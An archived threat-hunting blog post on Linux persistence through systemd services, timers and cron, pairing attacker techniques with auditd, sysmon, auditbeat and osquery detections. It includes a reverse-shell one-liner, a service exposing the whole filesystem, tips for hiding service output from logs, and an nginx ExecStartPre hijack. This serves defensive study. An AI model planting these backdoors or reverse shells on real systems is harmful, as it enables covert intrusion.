{
	"id": "4508b587-6343-4609-9258-f599767cda76",
	"created_at": "2026-04-06T00:09:21.255104Z",
	"updated_at": "2026-04-10T13:12:11.860324Z",
	"deleted_at": null,
	"sha1_hash": "09f0abdfdcc9cc3038d147028c913c04958925d1",
	"title": "Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1255202,
	"plain_text": "Hunting for Persistence in Linux (Part 3): Systemd, Timers, and\r\nCron\r\nBy Pepe Berba\r\nPublished: 2022-01-30 · Archived: 2026-04-05 15:27:35 UTC\r\nIntroduction\r\nIn this blogpost, we’ll discuss how attackers can create services and scheduled tasks for persistence by going\r\nthrough the following techniques:\r\nCreate or Modify System Process: Systemd Service\r\nScheduled Task/Job: Systemd Timers\r\nScheduled Task/Job: Cron\r\nWe will give some example commands on how to implement these persistence techinques and how to create alerts\r\nusing open-source solutions such as auditd, osquery, sysmon and auditbeats.\r\nIf you need help how to setup auditd, sysmon and/or auditbeats, you can try following the instructions in the\r\nappendix in part 1.\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 1 of 20\n\nHere is a diagram of the things we will cover in this blog post:\r\nLinks to the full version [image] [pdf]\r\nLinux Persistence Series:\r\nHunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells\r\n1 - Server Software Component: Web Shell\r\nHunting for Persistence in Linux (Part 2): Account Creation and Manipulation\r\n2 - Create Account: Local Account\r\n3 - Valid Accounts: Local Accounts\r\n4 - Account Manipulation: SSH Authorized Keys\r\nHunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron\r\n5 - Create or Modify System Process: Systemd Service\r\n6 - Scheduled Task/Job: Systemd Timers\r\n7 - Scheduled Task/Job: Cron\r\nHunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration\r\n8 - Boot or Logon Initialization Scripts: RC Scripts\r\n9 - Boot or Logon Initialization Scripts: init.d\r\n10 - Boot or Logon Initialization Scripts: motd\r\n11 - Event Triggered Execution: Unix Shell Configuration Modification\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 2 of 20\n\nHunting for Persistence in Linux (Part 5): Systemd Generators\r\n12 - Boot or Logon Initialization Scripts: systemd-generators\r\n(WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others\r\nModify Authentication Process: Pluggable Authentication Modules\r\nCompromise Client Software Binary\r\nBoot or Logon Autostart Execution: Kernel Modules and Extensions\r\nHijack Execution Flow: Dynamic Linker Hijacking\r\n5 Create or Modify System Process: Systemd Service\r\n5.1 Introduction Systemd Services\r\nMITRE: https://attack.mitre.org/techniques/T1543/002/\r\nSystemd services are commonly used to manage background daemon processes. This is how a lot of critical\r\nprocesses of the Linux OS start on boot time. In a Debian 10, here are some example services you might be\r\nfamiliar with:\r\n/etc/systemd/system/sshd.service : Secure Shell Service\r\n/lib/systemd/system/systemd-logind.service : Login Service\r\n/lib/systemd/system/rsyslog.service : System Logging Service\r\n/lib/systemd/system/cron.service : Regular background program processing daemon\r\nBecause of these service files, processes such as sshd , rsyslogd and cron will start running as soon as the\r\nmachine is turned on.\r\nAdversaries may utilize systemd to install their own malicious services so that even after a reboot, their backdoor\r\nservice or beacon will also restart. To install a new service, a *.service unit file is created in\r\n/etc/systemd/system/ or /lib/systemd/system/ .\r\nLet us look at rsyslog.service to get a real example configuration\r\n[Unit]\r\nDescription=System Logging Service\r\nRequires=syslog.socket\r\nDocumentation=man:rsyslogd(8)\r\nDocumentation=https://www.rsyslog.com/doc/\r\n[Service]\r\nType=notify\r\nExecStart=/usr/sbin/rsyslogd -n -iNONE\r\nStandardOutput=null\r\nRestart=on-failure\r\n# Increase the default a bit in order to allow many simultaneous\r\n# files to be monitored, we might need a lot of fds.\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 3 of 20\n\nLimitNOFILE=16384\r\n[Install]\r\nWantedBy=multi-user.target\r\nAlias=syslog.service\r\nThere are two lines we want to focus on:\r\nExecStart : This is the command that is run when the service starts\r\nWantedBy : Having a value of multi-user.target means that the service should start on boot time.\r\nSome resources to get you started in this:\r\nhttps://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/\r\nhttps://wiki.debian.org/systemd/Services\r\nhttps://www.digitalocean.com/community/tutorials/how-to-use-systemctl-to-manage-systemd-services-and-units\r\nhttps://manpages.debian.org/bullseye/systemd/systemd.unit.5.en.html\r\nhttps://www.freedesktop.org/software/systemd/man/systemd.unit.html\r\nhttps://www.unixsysadmin.com/systemd-user-services/\r\n5.2 Installing a malicious service\r\n5.2.1 Where to put service files\r\nTo install a service, we need to first creat a \u003cSERVICE\u003e.service unit file in one of the systemd’s unit load paths.\r\nBased on the man pages [1][2].\r\nPath Descrption\r\n/etc/systemd/system System units created by the administrator\r\n/usr/local/lib/systemd/system System units installed by the administrator\r\n/lib/systemd/system System units installed by the distribution package manager\r\n/usr/local/lib/systemd/system System units installed by the distribution package manager\r\nThe full paths and order that systemd will look for unit files can be enumerated using the systemd-analyze\r\nunit-paths command (Add --user for user mode). For example:\r\n$ systemd-analyze unit-paths\r\n...\r\n/etc/systemd/system\r\n...\r\n/usr/local/lib/systemd/system\r\n/lib/systemd/system\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 4 of 20\n\n/usr/lib/systemd/system\r\n...\r\nThis is the exact order and locations that systemd will load services from. Some locations such as /run/* are\r\ntransient and do not persist when the machine shuts down.\r\nThe first *.service file in the list will be used. For example, if /lib/systemd/system/nginx.service already\r\nexists and we create /etc/systemd/system/nginx.service then we are overriding the nginx.service because\r\n/etc/systemd/system takes precendence over /lib/systemd/system/nginx.service . This might be something\r\nwe can explore if we want to compromise existing services instead of creating a new one.\r\n5.2.2 Minimal service file\r\nWe want to create a service called bad . So we create a file named /etc/systemd/system/bad.service\r\n[Unit]\r\nDescription=Example of bad service\r\n[Service]\r\nExecStart=python3 -m http.server --directory /\r\n[Install]\r\nWantedBy=multi-user.target\r\nOnce this is created, we need to enable the service so that it will run when the machine boots. The standard way\r\nto do this is\r\nIf you named your service netdns.service , for example, then the you will run systemctl enable netdns . This\r\ncommand will look for a bad.service file in one of the unit paths, parse it and create a symlink for each target in\r\nthe WantedBy setting.\r\nSince WantedBy=multi-user.target , the target directory would be /etc/systemd/system/multi-user.target.wants and we can manually create the symlink\r\nln -s /etc/systemd/system/bad.service /etc/systemd/system/multi-user.target.wants/bad.service\r\nAfter the symlink is created, the OS will know to run bad.service when the machine boots up. To manually run\r\nthe service, you can run systemctl start bad . If you modify a unit file, you need to reload it using systemctl\r\ndaemon-reload\r\nIn this example, ExecStart is a python3 but you can replace this with whatever command you want. It can be a\r\nreverse shell like bash -i \u003e\u0026 /dev/tcp/10.0.0.1/4242 0\u003e\u00261 from whatever cheatsheet [3] or you can point this\r\nto a bash script or executable like /tmp/backdoor or /opt/backdoor .\r\n5.2.3 Staying covert\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 5 of 20\n\nBe conscious about the unit name, description, and the output of your script/executable.\r\nBy default, the description of the service will appear in syslog, and along with the stdout / stderr . Let’s say I\r\nhave a python script that the service will run and it is trying to connect to a domain that we have failed to setup\r\nproperly, then the service might right the following the syslog\r\nJan 30 07:35:56 test-auditd systemd[1]: Started Example of bad service.\r\nJan 30 07:36:27 test-auditd python3[957]: Traceback (most recent call last):\r\nJan 30 07:36:27 test-auditd python3[957]: File \"\u003cstring\u003e\", line 1, in \u003cmodule\u003e\r\nJan 30 07:36:27 test-auditd python3[957]: TimeoutError: [Errno 110] Connection timed out\r\nJan 30 07:36:27 test-auditd systemd[1]: bad.service: Main process exited, code=exited, status=1/FAILURE\r\nJan 30 07:36:27 test-auditd systemd[1]: bad.service: Failed with result 'exit-code'.\r\nThis is problematic because this is something that might tip off the defenders.\r\nA generic way to prevent stdout/stderr from being logged is to include the following under [Service] in the\r\nunit file.\r\nStandardOutput=null\r\nStandardError=null\r\nSo after modifying the script to fail gracefully, and modfying the name, description, and logging of the service we\r\nmight get something like.\r\nJan 30 08:00:16 test-auditd systemd[1]: Started Periodic DNS Lookup Service.\r\nJan 30 08:00:16 test-auditd systemd[1]: dns.service: Succeeded.\r\n5.2.4 User Systemd Services\r\nThere is less common class of systemd service called user services. They reside in a different set of unit paths\r\nthat is defined when running systemd-analyze unit-paths --user .\r\nOutput for Debian 10:\r\n$ systemd-analyze unit-paths --user\r\n...\r\n/home/user/.config/systemd/user\r\n/etc/systemd/user\r\n...\r\n/home/user/.local/share/systemd/user\r\n/usr/local/share/systemd/user\r\n/usr/share/systemd/user\r\n/usr/local/lib/systemd/user\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 6 of 20\n\n/usr/lib/systemd/user\r\n...\r\nWe can add a bad_user.service in /etc/systemd/user\r\n[Unit]\r\nDescription=Example of bad service\r\n[Service]\r\nExecStart=\u003cSOME COMMAND\u003e\r\n[Install]\r\nWantedBy=default.target\r\nWe can enable this “globally” by creating a /etc/systemd/user/default.target.wants and creating a symlnk\r\nfor bad_user.service\r\nmkdir /etc/systemd/user/default.target.wants\r\nln -s /etc/systemd/user/bad_user.service /etc/systemd/user/default.target.wants/bad_user.service\r\nAfter a reboot, the next time that a user logs in the machine, a dedicated bad_user.service is created. How is\r\nthis different from the one we have before?\r\nBelow is an example of a process tree.\r\n[root] systemd (PID 1)\r\n├─ [root] sshd.service\r\n├─ [root] rsyslog.service\r\n├─ [root] bad.service\r\n├─ [root] cron.service\r\n│\r\n├─ [user0] systemd --user\r\n│ ├─ [user0] bad_user.service\r\n│\r\n├─ [user1] systemd --user\r\n ├─ [user1] bad_user.service\r\nSince sshd , cron and bad.service are system services, only a single instance is created (usually running as\r\nroot). If user0 and user1 logs in, two instances of bad_user.service are created because\r\nbad_user.service is a user service.\r\nTypically, an attacker needs to have root privileges to be able to create any system services. On the other hand,\r\nany user can create their own user unit files in ~/.config/systemd/user This can be useful to maintain user\r\npersistence until the attackers get root.\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 7 of 20\n\nAs a regular user you can trigger these systemctl with the --user flag\r\nmkdir -p /home/user0/.config/systemd/user\r\nvi /home/user0/.config/systemd/user/bad_user.service\r\nsystemctl daemon-reload --user\r\nsystemctl enable bad_user\r\nsystemctl start bad_user\r\n5.3 Detection: Addition changes in systemd unit paths\r\nAs we have seen, the installation of a service is simply the creation of a file and the creation of a symlink. We\r\nhave to look for file modification and creation in persistent paths listed in systemd-analyze unit-paths . Based\r\non this, and corroborated by [4], the five main candidates are the following:\r\n/etc/systemd/*\r\n/usr/local/lib/systemd/*\r\n/lib/systemd/*\r\n/usr/lib/systemd/*\r\n\u003cUSER HOME\u003e/.config/systemd/user\r\nIf the attacker wants to properly run the service, then they might call systemctl or service command line so\r\nmonitoring execution of these might also show malicious services. However, it as we’ve shown in the previous\r\nsections, it is possible to enable a service by manually creating the symlink.\r\n5.4 Detecting using auditd rules\r\nOur reference Neo23x0/auditd rules give us the following rules.\r\n-w /bin/systemctl -p x -k systemd\r\n-w /etc/systemd/ -p wa -k systemd\r\nThis will fail to detect persistence installation such as those found in metasploit’s service_persistence [6]\r\nwhere metasploit installs the service file in /lib/systemd/system/#{service_filename}.service\r\nFor this, I recommend adding the following rules\r\n-w /usr/lib/systemd/ -p wa -k systemd\r\n-w /lib/systemd/ -p wa -k systemd\r\n# Directories may not exist\r\n-w /usr/local/lib/systemd/ -p wa -k systemd\r\n-w /usr/local/share/systemd/user -p wa -k systemd_user\r\n-w /usr/share/systemd/user -p wa -k systemd_user\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 8 of 20\n\nThe commented out rules may not be immediately applicable because they might not exist depending on the distro\nyou are using. We cannot use auditd rules for directories that don’t exist at the time the service is started.\nExample auditd logs are:\nSYSCALL arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=55e618b75510 a2=241 a3=1b6 items=2 ppid=271\nPATH item=0 name=\"/etc/systemd/system/\" inode=90 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT\nPATH item=1 name=\"/etc/systemd/system/bad_auditd_example.service\" inode=11867 dev=08:01 mode=0100644 ouid=0 ogid\nPROCTITLE proctitle=\"bash\"\n5.5 Detecting using sysmon rules\n5.5.1 Using sysmon\nFor sysmon, we can see the following rule in T1543.002_CreateModSystemProcess_Systemd.xml /etc/systemd/system/usr/lib/systemd/system/run/systemd/system//systemd/user/ Similar to the previous section, to detect metasploit, I recommend adding\n/lib/systemd/system/ Example sysmon log:\n?xml version=\"1.0\"?\u003e\n11241100x800000000000000020 https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\nPage 9 of 20\n\nLinux-Sysmon/Operationaltest-auditd2 TechniqueID=T1543.002,TechniqueName=Create or Modify Sys 2022-01-30 09:55:21.062 {f4c1cbc8-6089-61f6-8d07-9717e6550000} 2738 /usr/bin/bash /etc/systemd/system/bad_sysmon_example.service 2022-01-30 09:55:21.062 root 5.5.2 Caveats for detecting using sysmon rules\nIt should be noted that this can only detect the file creation. We have shown some problems with this in the\nprevious blog post. To recap, this will fail if:\n1. The bad.service file is created outside the directory and moved into the systemd directory\n2. An existing file is modified\nFor example, the sysmon rules above will not be triggered by this script (while the auditd rules above will catch\nthis).\ncat \u003e /tmp/bad_sysmon.service \u003c\u003c EOF\n[Unit]\nDescription=Example of bad service\n[Service]\nExecStart=python3 -m http.server --directory / 9998\n[Install]\nWantedBy=multi-user.target\nEOF\nmv /tmp/bad_sysmon.service /etc/systemd/system/bad_sysmon.service\nln -s /etc/systemd/system/bad_sysmon.service /tmp/bad_sysmon.service\nmv /tmp/bad_sysmon.service /etc/systemd/system/multi-user.target.wants/bad_sysmon.service\n5.6 Detecting using auditbeats\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\nPage 10 of 20\n\nOf course, just like auditd we can use auditbeat ’s file integrity monitoring for this. But it should be noted\r\nthat the default configuration of auditbeats does not monitor systemd files. [7].\r\nAlthough the default configuration does monitor /etc/ , the setting recursive is set to false . This means\r\nthat /etc/system/systemd is not monitored. Either set recursive: true or include the paths we’ve enumerated\r\nin the config.\r\n- module: file_integrity\r\n paths:\r\n - /bin\r\n - /usr/bin\r\n - /sbin\r\n - /usr/sbin\r\n - /etc\r\n - /etc/systemd/system\r\n - /lib/systemd/system\r\n - /usr/lib/systemd/system\r\n # recursive: true\r\nIf setup properly, the creation of a service and running systemctl daemon-reload should result in the following\r\nlogs\r\n5.7 Hunting using osquery\r\n5.7.1 Listing systemd unit files with hashes\r\nHere we look for services\r\nSELECT id, description, fragment_path, md5\r\nFROM systemd_units\r\nJOIN hash ON (hash.path = systemd_units.fragment_path)\r\nWHERE id LIKE \"%service\";\r\n5.7.2 Listing startup services\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 11 of 20\n\nSELECT name, source, path, status, md5\r\nFROM startup_items\r\nJOIN hash\r\nUSING(path)\r\nWHERE path LIKE \"%.service\" AND status = \"inactive\"\r\nORDER BY name;\r\nThis will return startup_items that are *.service with their path and hashes. These are the services that are\r\nenabled .\r\n5.7.3 Listing processes created by systemd\r\nThe services created by systemd will have a parent process ID of 1. So we can also look at weird processes that\r\nhave a parent PID of 1. As suggested by [4], look for processes that run on python , bash , or sh .\r\nSELECT pid, name, path, cmdline, uid FROM processes WHERE parent = 1\r\n5.7.4 Listing failed services\r\nIf a backdoor or beacon was improperly configured, then this might fail.\r\nSELECT id, description, fragment_path, sub_state, md5\r\nFROM systemd_units\r\nJOIN hash\r\nON (hash.path = systemd_units.fragment_path)\r\nWHERE sub_state='failed';\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 12 of 20\n\n5.8 Additional notes: Modifying existing services\r\nInstead of creating a new systemd service, an attacker can just modify existing services. For example they can:\r\nModifying existing .service files\r\nOverriding existing .service files\r\nModifying executable files used by .service\r\nLet’s say our target is nginx . To know where the nginx.service is, we can use\r\n$ systemctl status nginx\r\n● nginx.service - A high performance web server and a reverse proxy server\r\n Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)\r\nWe want to modify /lib/systemd/system/nginx.service . If we want to add a long running process with this\r\nwithout interrupting the real nginx process, we can use the ExecStartPre which runs a command before the\r\nactual process.\r\n...\r\n[Service]\r\nType=forking\r\nPIDFile=/run/nginx.pid\r\nExecStartPre=/usr/sbin/nginx -t -q -g 'daemon on; master_process on;'\r\nExecStartPre=/root/run.sh # \u003c------------- ADD THIS\r\nExecStart=/usr/sbin/nginx -g 'daemon on; master_process on;'\r\n...\r\nsystemd can handle multiple ExecStartPre so we can add script. A template for /root/run.sh can be\r\n#! /bin/bash\r\n\u003cCOMMAND\u003e 2\u003e/dev/null \u003e/dev/null \u0026 disown\r\nWith that the next time nginx starts (next reboot) our run.sh will also run. However, if you want to restart then\r\nwe use\r\nsystemctl daemon-reload\r\nsystemctl restart nginx\r\nWe have several options for modfying:\r\n1. Modify /lib/systemd/system/nginx.service directly, but if nginx updates this file will be overwritten.\r\n2. Add an nginx.service in earlier paths as discussed in the (5.2.1) /etc/systemd/system or\r\n/usr/local/lib/systemd/system\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 13 of 20\n\n3. Create /etc/systemd/system/nginx.service.d/local.conf and this will update the config\r\nSample contents of /etc/systemd/system/nginx.service.d/local.conf\r\n[Service]\r\nExecStartPre=/root/run.sh\r\nSimilar to creation of a new service, detecting this would require a form of file integrity monitoring. So be careful\r\nwith just whitelisting services when looking for malicious installations.\r\n6 Scheduled Task/Job: Systemd Timers\r\nMITRE: https://attack.mitre.org/techniques/T1053/006/\r\n6.1 Understanding systemd timers\r\nPreviously, the services are triggered during boot time. But that is not the only way a service can be triggered.\r\nAnother way is using timers . We can list existing timers in a VM using systemctl list-timers\r\nThis is an alternative to the more well known cron .\r\nTo understand this, there are two unit files we need:\r\n1. SERVICE_NAME.timer\r\n2. SERVICE_NAME.service\r\nThe .service file is almost the same as the one we just discussed.\r\nLet’s first look at an example of timers in action. If you want to know the location of a timer we can run\r\n# systemctl status google-oslogin-cache.timer\r\n● google-oslogin-cache.timer - NSS cache refresh timer\r\n Loaded: loaded (/lib/systemd/system/google-oslogin-cache.timer; enabled; vendor preset: enabled)\r\n Active: active (waiting) since Sun 2022-01-30 09:34:40 UTC; 2h 39min ago\r\nIn this case, google-oslogin-cache.timer is in /lib/systemd/system/google-oslogin-cache.timer .\r\nIf we look at the content of google-oslogin-cache.timer we see:\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 14 of 20\n\n[Unit]\r\nDescription=NSS cache refresh timer\r\n[Timer]\r\nOnBootSec=5\r\nOnUnitActiveSec=6h\r\n[Install]\r\nWantedBy=timers.target\r\nThis means that\r\nOnUnitActiveSec=6h : how long to wait before triggering the service again\r\nWantedBy=timers.target : the .timer should be treated as a timer\r\nThe associated google-oslogin-cache.service is very simple. The [Install] section empty because this\r\nservice will be triggered by its timer.\r\n[Unit]\r\nDescription=NSS cache refresh\r\n[Service]\r\nType=oneshot\r\nExecStart=/usr/bin/google_oslogin_nss_cache\r\n6.2 Creating a malicious timer\r\nWith that, we know enough to create a malicious timer.\r\nWe created a file /etc/systemd/system/scheduled_bad.timer\r\n[Unit]\r\nDescription=Bad timer\r\n[Timer]\r\nOnBootSec=5\r\nOnUnitActiveSec=5m\r\n[Install]\r\nWantedBy=timers.target\r\nWe created its service /etc/systemd/system/scheduled_bad.service\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 15 of 20\n\n[Unit]\r\nDescription=Bad timer\r\n[Service]\r\nExecStart=/opt/beacon.sh\r\nAnd we now enable it and start the timer\r\n# systemctl daemon-reload\r\nsystemctl enable scheduled_bad.timer\r\nsystemctl start scheduled_bad.timer\r\nSimilar to a regular service, the enable here created a symlink for each target in WantedBy\r\nCreated symlink /etc/systemd/system/timers.target.wants/scheduled_bad.timer → /etc/systemd/system/scheduled_ba\r\n6.3 Detecting creation of timers\r\nWe won’t discuss much about the detection since it is almost the same as the creation of systemd services. To\r\nrecap, we want to look for file creation of .service and .timer in one of the following paths:\r\n/etc/systemd/system\r\n/usr/local/lib/systemd/system\r\n/lib/systemd/system\r\n/usr/lib/systemd/system\r\n6.4 Listing timers with osquery\r\nSELECT id, description, sub_state, fragment_path\r\nFROM systemd_units\r\nWHERE id LIKE \"%timer\";\r\n7 Scheduled Task/Job: Cron\r\nMITRE: https://attack.mitre.org/techniques/T1053/003/)\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 16 of 20\n\n7.1 Introduction to cron\r\nCron is the most traditional way to create scheduled tasks. The interesting directories for us are the following:\r\n/etc/crontab\r\n/etc/cron.d/*\r\n/etc/cron.{hourly,daily,weekly,monthly}/*\r\n/var/spool/cron/crontab/*\r\nWe won’t go through how to define cronjobs. Please refer to https://crontab.guru/examples.html for example\r\ncommon examples.\r\n7.2 Creating scheduled cron job\r\n7.2.1 User Crontab\r\nIf you are a user you can modify your own crontab , using crontab -e . This will create a file in\r\n/var/spool/cron/crontab/\u003cuser\u003e .\r\nFor example, we can add\r\n*/5 * * * * /opt/beacon.sh\r\nTo run /opt/beacon.sh every 5 minutes. If root runs crontab -e it will be /var/spool/cron/crontab/root\r\n7.2.2 /etc/crontab\r\nThe admin can modify /etc/crontab or /etc/crontab.d/\u003cARBITRARY FILE\u003e . Unlike the files in\r\n/var/spool/cron/* where the user of the jobs are implied based on the whose crontab it is, the lines in\r\n/etc/crontab include a username.\r\nvi /etc/crontab/\r\n*/10 * * * * root /opt/beacon.sh\r\nThis will run /opt/beacon.sh every 10 minutes as root\r\n7.2.3 hourly,daily,weekly, and monthly cron\r\nThe /etc/cron.{hourly,daily,weekly,monthly}/* are actual scripts triggered hourl, or daily, or etc…\r\n7.3 Monitoring addition to cron\r\n7.3.1 Auditd\r\nFrom our reference Neo23x0/auditd rules give us the following rules.\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 17 of 20\n\n-w /etc/cron.allow -p wa -k cron\r\n-w /etc/cron.deny -p wa -k cron\r\n-w /etc/cron.d/ -p wa -k cron\r\n-w /etc/cron.daily/ -p wa -k cron\r\n-w /etc/cron.hourly/ -p wa -k cron\r\n-w /etc/cron.monthly/ -p wa -k cron\r\n-w /etc/cron.weekly/ -p wa -k cron\r\n-w /etc/crontab -p wa -k cron\r\n-w /var/spool/cron/ -k cron\r\nThis should cover almost everything for cron.\r\n7.3.2 Sysmon\r\nFor sysmon we can use T1053.003_Cron_Activity.xml which is a translation of the auditd rules above.\r\n \u003cRuleGroup name=\"\" groupRelation=\"or\"\u003e\r\n \u003cProcessCreate onmatch=\"include\"\u003e\r\n \u003cRule name=\"TechniqueID=T1053.003,TechniqueName=Scheduled Task/Job: Cron\" groupRelation=\"or\"\u003e\r\n \u003cImage condition=\"end with\"\u003ecrontab\u003c/Image\u003e\r\n \u003c/Rule\u003e\r\n \u003c/ProcessCreate\u003e\r\n \u003c/RuleGroup\u003e\r\n \u003cRuleGroup name=\"\" groupRelation=\"or\"\u003e\r\n \u003cFileCreate onmatch=\"include\"\u003e\r\n \u003cRule name=\"TechniqueID=T1053.003,TechniqueName=Scheduled Task/Job: Cron\" groupRelation=\"or\"\u003e\r\n \u003cTargetFilename condition=\"is\"\u003e/etc/cron.allow\u003c/TargetFilename\u003e\r\n \u003cTargetFilename condition=\"is\"\u003e/etc/cron.deny\u003c/TargetFilename\u003e\r\n \u003cTargetFilename condition=\"is\"\u003e/etc/crontab\u003c/TargetFilename\u003e\r\n \u003cTargetFilename condition=\"begin with\"\u003e/etc/cron.d/\u003c/TargetFilename\u003e\r\n \u003cTargetFilename condition=\"begin with\"\u003e/etc/cron.daily/\u003c/TargetFilename\u003e\r\n \u003cTargetFilename condition=\"begin with\"\u003e/etc/cron.hourly/\u003c/TargetFilename\u003e\r\n \u003cTargetFilename condition=\"begin with\"\u003e/etc/cron.monthly/\u003c/TargetFilename\u003e\r\n \u003cTargetFilename condition=\"begin with\"\u003e/etc/cron.weekly/\u003c/TargetFilename\u003e\r\n \u003cTargetFilename condition=\"begin with\"\u003e/var/spool/cron/crontabs/\u003c/TargetFilename\u003e\r\n \u003c/Rule\u003e\r\n \u003c/FileCreate\u003e\r\n \u003c/RuleGroup\u003e\r\nAlthough it should be noted that because of what we have observed with using FileCreate for file integrity\r\nmonitoring, we can say that the sysmon version is not as powerful as the auditd even if it is a direct\r\ntranslation.\r\n7.3.3 auditbeats\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 18 of 20\n\nSimilar to the systemd , be careful with using the default file integrity monitoring of auditbeat . By default,\r\nonly /etc/crontab will be monitoring. The following are not covered by FIM of the default configuration:\r\n/etc/cron.d/*\r\n/etc/cron.{hourly,daily,weekly,monthly}/*\r\n/var/spool/cron/crontab/*\r\nYou can either set recursive or add each of those specific directories.\r\n7.3.4 osquery\r\nListing parsed crontab\r\nListing all files of /etc/cron.{hourly,daily,weekly,monthly}/*\r\nSELECT path, directory, md5\r\nFROM hash\r\nWHERE\r\n path LIKE \"/etc/cron.hourly/%\"\r\n OR path LIKE \"/etc/cron.daily/%\"\r\n OR path LIKE \"/etc/cron.weekly/%\"\r\n OR path LIKE \"/etc/cron.monthly/%\";\r\nConclusions and What’s next\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 19 of 20\n\nWe’ve discussed how to create and detect the creation service, timers, and cronjobs.\r\nPersonally, it took a while to fully grasp systemd and I found that the best resources were the man pages. I hope\r\nthat I’ve been able to provide materials to make these concepts more accessible. If there are mistakes here are\r\nthings you might want to add, feel free to reach out.\r\nIn the next post, we’ll going through where to put scripts/executables that run on boot or logon using\r\ninitizalization scripts and shell configurations.\r\nSources\r\n[1] Debian systemd.unit man page\r\n[2] freedesktop systemd.unit man page\r\n[3] PayloadsAllTheThings Reverse Shell\r\n[4] ATT\u0026CK T1501: Understanding systemd service persistence\r\n[5] Neo23x0/auditd\r\n[6] Metasploit: service_persistence.rb\r\n[7] Auditbeat File Integrity Module\r\n[8] systemd user services\r\nPhoto by Matej from Pexels\r\nSource: https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nhttps://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/\r\nPage 20 of 20",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/"
	],
	"report_names": [
		"linux-threat-hunting-for-persistence-systemd-timers-cron"
	],
	"threat_actors": [
		{
			"id": "eb3f4e4d-2573-494d-9739-1be5141cf7b2",
			"created_at": "2022-10-25T16:07:24.471018Z",
			"updated_at": "2026-04-10T02:00:05.002374Z",
			"deleted_at": null,
			"main_name": "Cron",
			"aliases": [],
			"source_name": "ETDA:Cron",
			"tools": [
				"Catelites",
				"Catelites Bot",
				"CronBot",
				"TinyZBot"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434161,
	"ts_updated_at": 1775826731,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/09f0abdfdcc9cc3038d147028c913c04958925d1.pdf",
		"text": "https://archive.orkl.eu/09f0abdfdcc9cc3038d147028c913c04958925d1.txt",
		"img": "https://archive.orkl.eu/09f0abdfdcc9cc3038d147028c913c04958925d1.jpg"
	}
}